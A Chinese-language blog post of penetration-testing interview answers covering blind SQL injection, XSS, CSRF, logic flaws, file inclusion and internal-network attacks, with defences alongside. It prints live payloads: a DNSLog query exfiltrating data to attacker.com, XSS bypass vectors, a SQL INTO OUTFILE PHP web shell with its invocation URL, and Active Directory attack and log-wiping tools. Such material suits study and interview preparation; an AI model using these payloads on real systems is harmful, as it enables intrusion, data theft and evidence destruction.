当前位置: 首页 > news >正文

2025年渗透测试面试题总结-55(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

2. SQL注入盲注方法

3. SQL注入防护措施

4. XSS攻防全景

5. 同源策略(SOP)本质

6. CSRF攻击与防护

7. 逻辑漏洞大全

8. 文件包含 & 变量覆盖

9. SQL注入写WebShell

10. 内网渗透速查表

2、SQL注入盲注的方法
3、如何防范SQL注入
4、xxs有哪些和绕过方式以及防护方式
5、同源性法制你了解吗
6、csrf可以干什么怎么防护
7、逻辑漏洞有哪些
8、文件包含以及变量覆盖
9、SQL注入如何写shell
10、内网渗透

2. SQL注入盲注方法

核心原理:无回显时通过条件判断提取数据

类型技术手段工具
布尔盲注构造True/False条件(如 id=1 AND SUBSTR(database(),1,1)='a'),根据页面差异推断sqlmap、Burp Intruder
时间盲注利用延时函数(SLEEP(2)),响应时间判断条件成立IF(1,SLEEP(5),0) + 时间统计
DNSLog外带触发DNS查询泄露数据(LOAD_FILE(CONCAT('\\\\',(SELECT user()),'.attacker.com\\a'))DNSLog平台

3. SQL注入防护措施

分层防御体系

  1. 输入处理
    • 参数化查询(PreparedStatement
    • 严格白名单校验(如邮箱格式:/^[a-z0-9_@.-]+$/i
  2. 权限控制
    • 数据库账户降权(禁用FILEEXECUTE权限)
    • 最小化错误信息暴露
  3. 运行时防护
    • WAF规则(拦截UNION SELECTxp_cmdshell等特征)
    • RASP(运行时应用自保护)实时阻断注入行为

4. XSS攻防全景

攻击类型与绕过

类型绕过案例防护方案
反射型XSS编码绕过:<img src=x onerror=alert(1)>输入过滤 + 输出HTML实体化
存储型XSSSVG标签注入:<svg><script>...</script>CSP策略:default-src 'self'
DOM型XSS利用eval()location.hash 执行避免客户端动态解析不可信数据

进阶绕过技术

  • Unicode编码:\u003cscript\u003e...
  • 事件处理器变形:onmouseoveronmo%75seover

5. 同源策略(SOP)本质

定义:限制不同源(协议+域名+端口)的脚本访问对方资源
关键限制

  • 禁止读取跨域AJAX响应(除非CORS)
  • 禁止操作跨域iframe DOM(可通过postMessage通信)
    渗透影响
  • 绕过SOP需依赖服务端漏洞(如JSONP劫持、CORS配置错误)

6. CSRF攻击与防护

攻击流程

mermaidsequenceDiagram 用户-->恶意网站: 点击钓鱼链接 恶意网站-->目标网站: 伪造请求(自动携带Cookie) 目标网站-->用户: 执行恶意操作(转账/改密)

防护方案

  • Token验证:表单中嵌入随机Token(服务端校验)
  • SameSite Cookie:设置SameSite=Strict
  • 关键操作二次验证:密码确认/短信验证码

7. 逻辑漏洞大全

四大高危场景

  1. 权限控制缺失
    • 垂直越权:普通用户访问管理员API(/admin/deleteUser?id=任意ID
  2. 业务流绕过
    • 支付漏洞:修改商品价格为0(抓包篡改price=0
  3. 竞争条件
    • 并发充值:无限重复请求导致余额倍增
  4. 验证机制缺陷
    • 密码重置Token未失效(重复使用或可预测)

8. 文件包含 & 变量覆盖

漏洞类型

漏洞案例防护
文件包含include($_GET['file'])?file=/etc/passwd禁用动态包含 + 白名单控制
变量覆盖extract($_POST) 覆盖$is_admin变量避免extract()/parse_str()

9. SQL注入写WebShell

前提条件

  • 数据库有FILE权限 + Web目录可写 + 知道绝对路径
    操作步骤
sql1. 查询路径:SELECT @@basedir; -- 获取安装路径 2. 写入Shell: UNION SELECT "<?php system($_GET['c']);?>", NULL INTO OUTFILE '/var/www/shell.php' 3. 访问执行:http://target.com/shell.php?c=id 

绕过技巧

  • 十六进制编码:SELECT 0x3C3F706870... INTO OUTFILE
  • 分块写入:使用filesplit函数绕过长度限制

10. 内网渗透速查表

攻击链五阶段

阶段工具/技术目标
信息收集Responder(LLMNR毒化)、BloodHound绘制域拓扑
横向移动Pass-the-Hash、Kerberoasting攻击获取域控权限
持久化Golden Ticket、Shadow Copy后门维持长期控制
数据渗出DNS隧道(dnscat2)、ICMP隐蔽信道绕过流量监控
痕迹清理Meterpreter的timestomp、日志注入消除入侵证据
http://www.xdnf.cn/news/1480501.html

相关文章:

  • 为什么ubuntu大文件拷贝会先快后慢?
  • spring事务传播机制
  • 智能驾驶调研
  • 智慧灌区系统:科技赋能,让农田灌溉更智能、更高效、更可持续
  • MySQL数据库精研之旅第十七期:深度拆解事务核心(下)
  • 【营销策略算法】关联规则学习-购物篮分析
  • 淘宝拍立淘按图搜索及淘宝API(JSON数据返回)核心解析
  • Python列表:从入门到灵活运用的全攻略
  • [光学原理与应用-425]:非线性光学 - 非线性光学研究的内容:非线性晶体、光波频率的变化
  • Python中list()使用详解及注意事项
  • 微服务的编程测评系统21-项目部署-mysql-nacos
  • Java线程通信
  • ChatGPT下的相关聊天提示词
  • 深度学习:残差网络ResNet与迁移学习
  • 【LeetCode热题100道笔记】二叉树的直径
  • 【杂类】Spring 自动装配原理
  • 基于多级特征编码器用于声学信号故障检测模型
  • 嵌入式学习日记
  • Linux系统编程—进程控制
  • 产品更新与路线图平台ShipShipShip
  • Java中的字符串
  • 提示词工程(Prompt Engineering)的崛起——为什么“会写Prompt”成了新技能?
  • Wisdom SSH 是一款创新性工具,通过集成 AI 助手,为服务器性能优化带来极大便利。
  • 【FastDDS】Layer Transport ( 04-TCP Transport )
  • 数据库中间件ShardingSphere v5.2.1
  • (算法 哈希表)【LeetCode 242】有效的字母异位词
  • 关于 React 19 的四种组件通信方法
  • 十三、计算机领域英语
  • TDengine 时间函数 WEEKOFYEAR() 用户手册
  • 【C++框架#3】Etcd 安装使用